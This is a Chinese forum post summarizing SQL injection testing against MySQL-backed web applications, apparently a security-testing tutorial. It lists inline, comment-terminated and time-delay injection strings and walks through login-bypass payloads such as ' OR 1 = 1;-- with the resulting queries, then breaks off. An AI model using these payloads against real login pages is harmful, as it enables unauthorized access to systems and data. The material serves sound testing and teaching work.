您好!欢迎来到雅安论坛
关注我们
扫码关注官方微信
手机版
手机扫描直接访问
欢迎: 附近的朋友。
111111

SQL注入测试总结

[复制链接]
本站网友  发表于 2021-5-7 23:50:09 |阅读模式 打印 上一主题 下一主题
SQL注入测试总结
本文以MySQL数据库为例,其它数据库仅供参考。

1 黑盒测试
1.1 手工测试
Web应用的主要注入点有:

① POST请求体中的参数

② GET请求头URL中的参数

③ Cookie

1.1.1 内联注入
1、字符串内联注入

测试字符串

变种

预期结果

'

N/ A

触发数据库返回错误。

' OR '1' = '1

') OR ('1' = '1

永真,返回所有行。

value' OR '1' = '2

value') OR ('1' = '2

空,不影响返回结果。

' AND '1' = '2

') AND ('1' = '2

永假,返回空。

' OR 'ab' = 'a''b

') OR ('ab' = 'a''b

字符串连接,结果同永真。

字符串内联注入测试字符串

下面以绕过某系统登录页面为例,介绍字符串内联注入。

场景① 假设登录页面后台校验机制为:从数据库查询对应用户名和密码,存在返回值验证通过。这种情况在用户名输入框输入' OR 1 = 1 OR '1' = '1,密码为空,则猜测可构造如下SQL语句绕过后台校验登录系统:

SELECT * FROM usertable WHERE username = '' OR 1 = 1 OR '1' = '1' AND password = ''

也可以用户名为空,在密码输入框输入' OR '1' = '1,则猜测可构造如下SQL语句绕过后台校验登录系统:

SELECT * FROM usertable WHERE username = '' AND password = '' OR '1' = '1'

场景② 假设登录页面后台校验机制为:从数据库查询对应用户名和密码,存在一条返回值验证通过。这种情况在用户名输入框输入username' AND 1 = 1 OR '1' = '1,密码为空,则猜测可构造如下SQL语句绕过后台校验登录系统:

SELECT * FROM usertable WHERE username = 'username' AND 1 = 1 OR '1' = '1' AND password = ''

username如果未知,可以尝试使用admin、Admin、administrator、Administrator等进行猜测。

如果前端限制了某些字符不能输入,可以使用代理工具拦截并修改请求,如使用Burp Suite:
111.png

可以看到请求中某些字符是做了编码的,如果我们手工修改请求需要输入编码后的字符,常见需要编码的字符如下:

单引号(')编码为:%27

空格编码为:+

加号(+)编码为:%2B

等号(=)编码为:%3D

2、数字内联注入

数字与字符串的区别有两点:

① 数字不需要单引号(')包围。

② 数字能进行算术运算,字符串不能。
121.png


数字内联注入测试字符串

数字内联注入与字符串内联注入测试方法类似,不再单独举例。

1.1.2 终止式注入
222.png
终止式注入测试字符串

下面以绕过某系统登录页面为例,介绍终止式注入。

场景① 假设登录页面后台校验机制为:从数据库查询对应用户名和密码,存在返回值验证通过。这种情况在用户名输入框输入' OR 1 = 1;-- ,密码为空,则猜测可构造如下SQL语句绕过后台校验登录系统:

SELECT * FROM usertable WHERE username = '' OR 1 = 1;-- ' AND password = ''

场景② 假设登录页面后台校验机制为:从数据库查询对应用户名和密码,存在一条返回值验证通过。这种情况在用户名输入框输入username';-- ,密码为空,则猜测可构造如下SQL语句绕过后台校验登录系统:

SELECT * FROM usertable WHERE username = 'username';-- ' AND password = ''

也可以在用户名输入框输入' OR 1 = 1 LIMIT 1;-- ,密码为空:

SELECT * FROM usertable WHERE username = '' OR 1 = 1 LIMIT 1;-- ' AND password = ''

如果应用过滤掉了单行注释字符--,我们可以使用多行注释,即在用户名输入框输入username'/*,密码输入框输入*/':

SELECT * FROM usertable WHERE username = 'username'/*' AND password = '*/''

1.1.3 延迟注入
延迟注入属于一种特殊的终止式注入。延迟注入使用benchmark或sleep函数:

mysql> select benchmark(10000,md5('123456'));

+--------------------------------+

| benchmark(10000,md5('123456')) |

+--------------------------------+

|                              0 |

+--------------------------------+

1 row in set (0.01 sec)



mysql> select benchmark(1000000,md5('123456'));

+----------------------------------+

| benchmark(1000000,md5('123456')) |

+----------------------------------+

|                                0 |

+----------------------------------+

1 row in set (0.20 sec)



mysql> select benchmark(100000000,md5('123456'));

+------------------------------------+

| benchmark(100000000,md5('123456')) |

+------------------------------------+

|                                  0 |

+------------------------------------+

1 row in set (20.06 sec)



mysql> select sleep(10);

+-----------+

| sleep(10) |

+-----------+

|         0 |

+-----------+

1 row in set (10.13 sec)



1.2 自动化测试
SQL注入黑盒测试工具有很多,以下仅列出几种我熟悉的工具。

1.2.1 AppScan
AppScan是IBM的一款Web安全评估工具。AppScan可以对很多漏洞进行扫描,SQL注入只是其中的一种。
。。。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

关注3

粉丝13

帖子2251

发布主题
阅读排行 更多
广告位
欢迎使用无需登录在线留言
姓名 

手机 

内容
关注我们
  • 关注官方微信

  • 论坛QQ群

Sitemap小黑屋Archiver雅安论坛( 已经安全运行 ) |网站地图

在线客服

会员收集的资源(插件源码等),仅方便学习,您需要自行承担版权风险,未获得原作者授权的情况下,请勿将文章公开发布或用于商业用途。

声明:本站内容来自于论坛作者本人的观点,不代表本网站的观点和看法,与本网站立场无关,相关责任作者自负。如有侵权,请联系我们及时删除

高能预警:本站为个人网站,非团队运作,常年务农,山上信号不好,在线少,如有不妥之处,望大佬们多多包涵,万分感激!

雅安论坛互联网违法和不良信息举报平台 您也可以通过留言进行相关问题提交,留言提交无需注册,我们将严格保证用户隐私。   © 2009-2021